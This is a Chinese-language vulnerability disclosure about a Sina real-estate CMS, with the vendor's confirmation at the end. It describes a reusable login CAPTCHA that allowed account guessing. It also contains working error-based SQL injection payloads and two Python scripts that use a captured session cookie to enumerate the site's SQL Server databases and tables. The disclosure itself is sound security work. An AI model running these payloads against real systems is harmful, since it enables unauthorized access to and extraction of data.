新浪地产CMS存设计缺陷和多处sql注入（附.py脚本）

url:http://cms.dichan.com/default.aspx

设计缺陷出现在登录时图片验证码使用一次未失效，可撞库和暴破

123456撞出一个账号：

进来后，发现多处存在sql报错注入

比如：操作日志

再比如：删除房产新闻

下面用“删除房产新闻”模块来脱裤：

1、手工，通过数学函数判断是什么类型数据库：Sql Server:@@rowcount MySql:last_insert_id() oracle:bitand(1,1)

注入 @@rowcount 不报错，确定是Sql Server

2、数据库版本

Microsoft SQL Server 2008 R2

3、爆当前连接的数据库

后面两个用脚本跑，requests里有代理功能，便于抓包调试，这里采用第三方库 requests

4、爆所有存在的数据库：

.py脚本：

import requests

print 'Start to retrive SqlServer database:/n'

user = ""

headers = {

'Cookie': 'ASP.NET_SessionId=adg4hn45zmhams55u50mil45; .dichancmsauth=994F1406866FA51A1EF32B936496199631077780812E3830EBE65D54D52FB04F3C216D0FDC8256BA7CAC46C0DC4DC5376641396484DAE46DFB6C09C1CD24E7EA70FA50877E567F584A097E8006E539BCBB907765ED9E4B7096F89B393EB77543AC9CBE7F; __utmt=1; __utma=21884462.522624074.1460635410.1460635410.1460635410.1; __utmb=21884462.2.10.1460635410; __utmc=21884462; __utmz=21884462.1460635410.1.1.utmcsr=cms.dichan.com|utmccn=(referral)|utmcmd=referral|utmcct=/comment/newscommentlist.aspx'};

for i in range(1, 14):

payload = '0/(select top 1 name from master..sysdatabases where name not in (select top %s name from master..sysdatabases))' % i

body = {'__VIEWSTATE': '/wEPDwUKMTkwNjc4NTIwMWRkXGYxEvkDlDR5TJiN9oPRDcCJMgo=',

'__VIEWSTATEGENERATOR': '59FA1B9F',

'__EVENTVALIDATION': '/wEWAwKqv92KDALZifH9CgKM54rGBghPZBNspYOcVa/5oCp6+cB/NDlD',

'housenewsIds': payload, 'Button1': '%E7%A1%AE%E5%AE%9A'}

url = 'http://cms.dichan.com/news/deletenews.aspx'

conn = requests.post(url, data=body, headers=headers, verify=False, allow_redirects=False)

html_doc = conn.content

conn.close()

print ".",

if conn.status_code == 200:

break

# get tables from response

begain = html_doc.index('nvarchar')

end = html_doc.index('int')

database = html_doc[begain + 14:end - 24]

user += database + ' , '

print database

print '/n[Done] SqlServer database is %s' % user

5、爆所有用户表

.py脚本：

import requests

print 'Start to retrive SqlServer tables:/n'

user = ""

headers = {

'Cookie': 'ASP.NET_SessionId=adg4hn45zmhams55u50mil45; .dichancmsauth=994F1406866FA51A1EF32B936496199631077780812E3830EBE65D54D52FB04F3C216D0FDC8256BA7CAC46C0DC4DC5376641396484DAE46DFB6C09C1CD24E7EA70FA50877E567F584A097E8006E539BCBB907765ED9E4B7096F89B393EB77543AC9CBE7F; __utmt=1; __utma=21884462.522624074.1460635410.1460635410.1460635410.1; __utmb=21884462.2.10.1460635410; __utmc=21884462; __utmz=21884462.1460635410.1.1.utmcsr=cms.dichan.com|utmccn=(referral)|utmcmd=referral|utmcct=/comment/newscommentlist.aspx'};

for i in range(1, 200):

payload = "0/(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE xtype='U' and name not in (SELECT TOP %s NAME FROM SYSOBJECTS WHERE xtype='U'))" % i

body = {'__VIEWSTATE': '/wEPDwUKMTkwNjc4NTIwMWRkXGYxEvkDlDR5TJiN9oPRDcCJMgo=',

'__VIEWSTATEGENERATOR': '59FA1B9F',

'__EVENTVALIDATION': '/wEWAwKqv92KDALZifH9CgKM54rGBghPZBNspYOcVa/5oCp6+cB/NDlD',

'housenewsIds': payload, 'Button1': '%E7%A1%AE%E5%AE%9A'}

url = 'http://cms.dichan.com/news/deletenews.aspx'

conn = requests.post(url, data=body, headers=headers, verify=False, allow_redirects=False)

html_doc = conn.content

conn.close()

print ".",

if conn.status_code == 200:

break

# get tables from response

begain = html_doc.index('nvarchar')

end = html_doc.index('int')

table = html_doc[begain + 14:end - 24]

user += table + ' , '

print database

print '/n[Done] SqlServer tables is %s' % user

------------------------------

点到为止

sql注入很可能不止这几处，建议你们一一排查下

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-04-15 17:03

厂商回复：

感谢关注新浪安全，将通知合作方进行修复。

最新状态：

暂无